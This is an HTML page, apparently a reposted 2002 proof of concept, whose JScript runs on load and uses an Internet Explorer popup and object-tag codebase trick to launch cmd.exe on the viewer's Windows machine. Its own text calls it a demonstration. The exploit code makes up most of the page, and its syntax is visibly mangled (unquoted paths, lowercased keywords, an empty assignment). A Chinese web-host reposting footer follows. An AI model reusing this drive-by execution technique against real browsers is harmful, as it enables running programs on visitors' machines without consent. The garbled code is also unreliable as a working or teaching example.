<html>
<head>
<title>ie6 security...</title>
<style type="text/css">
body{font-family:arial,helvetica,sans-serif;font-size:16px;color:#222222;background-color:#aaaabb}
h1{background-color:#222222;color:#aaaabb}
</style>
<meta http-equiv=content-type content="text/html; charset=windows-1252">
<script language=jscript>
var programname=new array(
c:/windows/system32/cmd.exe,
c:/winnt/system32/cmd.exe,
c:/cmd.exe
);
function init(){
var opopup=window.createpopup();
var opopbody=opopup.document.body;
var n,html=;
for(n=0;n<programname.length;n++)
html+="<object name=x classid=clsid:11111111-1111-1111-1111-111111111111 codebase="+programname[n]+" %1=r></object>";
opopbody.innerhtml=html;
opopup.show(290, 190, 200, 200, document.body);
}
</script>
</head>
<body onload="init()">
<h1>hmm, lets start a command shell...</h1>
<p>
this page doesnt do anything malicious, but is a demonstration of how to execute a program on a remote machine using the
marvelously secure internet explorer web browser!!
</p>
<p>
up until at least 18/02/02, this script would open a command window when viewed in ie5/6 under windowsxp and win2k (possibly also winme). there
are currently no patches available using "windows update" which will prevent this.
</p>
</body>
</html>
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
